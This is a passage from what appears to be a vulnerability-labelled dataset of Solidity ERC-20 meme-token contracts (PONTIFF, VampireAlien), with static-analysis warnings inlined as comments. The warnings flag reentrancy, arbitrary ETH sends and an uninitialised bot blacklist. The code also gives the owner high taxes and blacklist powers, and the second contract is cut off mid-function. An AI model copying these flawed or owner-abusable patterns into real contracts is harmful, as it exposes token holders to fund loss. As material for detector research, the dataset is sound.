pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract PONTIFF is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 48bf5ea): PONTIFF._taxWallet should be immutable \n\t// Recommendation for 48bf5ea: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 781596c): PONTIFF._initialBuyTax should be constant \n\t// Recommendation for 781596c: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 24;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8e3e421): PONTIFF._initialSellTax should be constant \n\t// Recommendation for 8e3e421: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 24;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 654a53f): PONTIFF._reduceBuyTaxAt should be constant \n\t// Recommendation for 654a53f: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0d07a1e): PONTIFF._reduceSellTaxAt should be constant \n\t// Recommendation for 0d07a1e: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: b4245e9): PONTIFF._preventSwapBefore should be constant \n\t// Recommendation for b4245e9: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Pontiff Supreme Benedicto\";\n\n string private constant _symbol = unicode\"PONTIFF\";\n\n uint256 public _maxTxAmount = 8400000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8400000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: c64ea21): PONTIFF._taxSwapThreshold should be constant \n\t// Recommendation for c64ea21: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4200000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 25b1292): PONTIFF._maxTaxSwap should be constant \n\t// Recommendation for 25b1292: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4200000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 4c4e1e0): PONTIFF.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 4c4e1e0: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 25fb895): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 25fb895: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: d3be641): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for d3be641: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 25fb895\n\t\t// reentrancy-benign | ID: d3be641\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 25fb895\n\t\t// reentrancy-benign | ID: d3be641\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b1b1d75): PONTIFF._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for b1b1d75: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: d3be641\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 25fb895\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: bd31f2f): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for bd31f2f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 970a0ce): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 970a0ce: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 2, \"Only 2 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: bd31f2f\n\t\t\t\t// reentrancy-eth | ID: 970a0ce\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: bd31f2f\n\t\t\t\t\t// reentrancy-eth | ID: 970a0ce\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 970a0ce\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 970a0ce\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 970a0ce\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: bd31f2f\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 970a0ce\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 970a0ce\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: bd31f2f\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: bd31f2f\n\t\t// reentrancy-events | ID: 25fb895\n\t\t// reentrancy-benign | ID: d3be641\n\t\t// reentrancy-eth | ID: 970a0ce\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 644e32f): PONTIFF.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 644e32f: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: bd31f2f\n\t\t// reentrancy-events | ID: 25fb895\n\t\t// reentrancy-eth | ID: 970a0ce\n\t\t// arbitrary-send-eth | ID: 644e32f\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 5877909): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 5877909: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 4689230): PONTIFF.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 4689230: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 4f3adf9): PONTIFF.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 4f3adf9: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 3c550a3): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 3c550a3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 5877909\n\t\t// reentrancy-eth | ID: 3c550a3\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 5877909\n\t\t// unused-return | ID: 4689230\n\t\t// reentrancy-eth | ID: 3c550a3\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 5877909\n\t\t// unused-return | ID: 4f3adf9\n\t\t// reentrancy-eth | ID: 3c550a3\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 5877909\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 3c550a3\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}\n",
"file_name": "solidity_code_10077.sol",
"size_bytes": 19734,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract VampireAlien is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 473fb98): VampireAlien.bots is never initialized. It is used in VampireAlien._transfer(address,address,uint256)\n\t// Recommendation for 473fb98: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 04dcc02): VampireAlien._taxWallet should be immutable \n\t// Recommendation for 04dcc02: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 33dff80): VampireAlien._initialBuyTax should be constant \n\t// Recommendation for 33dff80: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3914207): VampireAlien._initialSellTax should be constant \n\t// Recommendation for 3914207: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 30;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 81ac09e): VampireAlien._reduceBuyTaxAt should be constant \n\t// Recommendation for 81ac09e: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 28;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5755cb0): VampireAlien._reduceSellTaxAt should be constant \n\t// Recommendation for 5755cb0: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 32;\n\n\t// WARNING Optimization Issue (constable-states | ID: afa5d37): VampireAlien._preventSwapBefore should be constant \n\t// Recommendation for afa5d37: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Vampire Alien \";\n\n string private constant _symbol = unicode\"VAMPIRE\";\n\n uint256 public _maxTxAmount = 2000000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 2000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6dcd56b): VampireAlien._taxSwapThreshold should be constant \n\t// Recommendation for 6dcd56b: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 1000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 57e67fe): VampireAlien._maxTaxSwap should be constant \n\t// Recommendation for 57e67fe: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1600000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a9531aa): VampireAlien.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for a9531aa: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 9bab1f2): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 9bab1f2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: d1a7f3d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for d1a7f3d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 9bab1f2\n\t\t// reentrancy-benign | ID: d1a7f3d\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 9bab1f2\n\t\t// reentrancy-benign | ID: d1a7f3d\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 83372fb): VampireAlien._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 83372fb: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: d1a7f3d\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 9bab1f2\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 83919d9): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 83919d9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 473fb98): VampireAlien.bots is never initialized. It is used in VampireAlien._transfer(address,address,uint256)\n\t// Recommendation for 473fb98: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 0bcf7bf): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 0bcf7bf: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 83919d9\n\t\t\t\t// reentrancy-eth | ID: 0bcf7bf\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 83919d9\n\t\t\t\t\t// reentrancy-eth | ID: 0bcf7bf\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 0bcf7bf\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 0bcf7bf\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 0bcf7bf\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 83919d9\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 0bcf7bf\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 0bcf7bf\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 83919d9\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 9bab1f2\n\t\t// reentrancy-events | ID: 83919d9\n\t\t// reentrancy-benign | ID: d1a7f3d\n\t\t// reentrancy-eth | ID: 0bcf7bf\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimit2() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: b364d5e): VampireAlien.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for b364d5e: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 9bab1f2\n\t\t// reentrancy-events | ID: 83919d9\n\t\t// reentrancy-eth | ID: 0bcf7bf\n\t\t// arbitrary-send-eth | ID: b364d5e\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 523ad41): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 523ad41: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: b0219db): VampireAlien.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for b0219db: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 7494bce): VampireAlien.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 7494bce: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: a30e311): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for a30e311: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 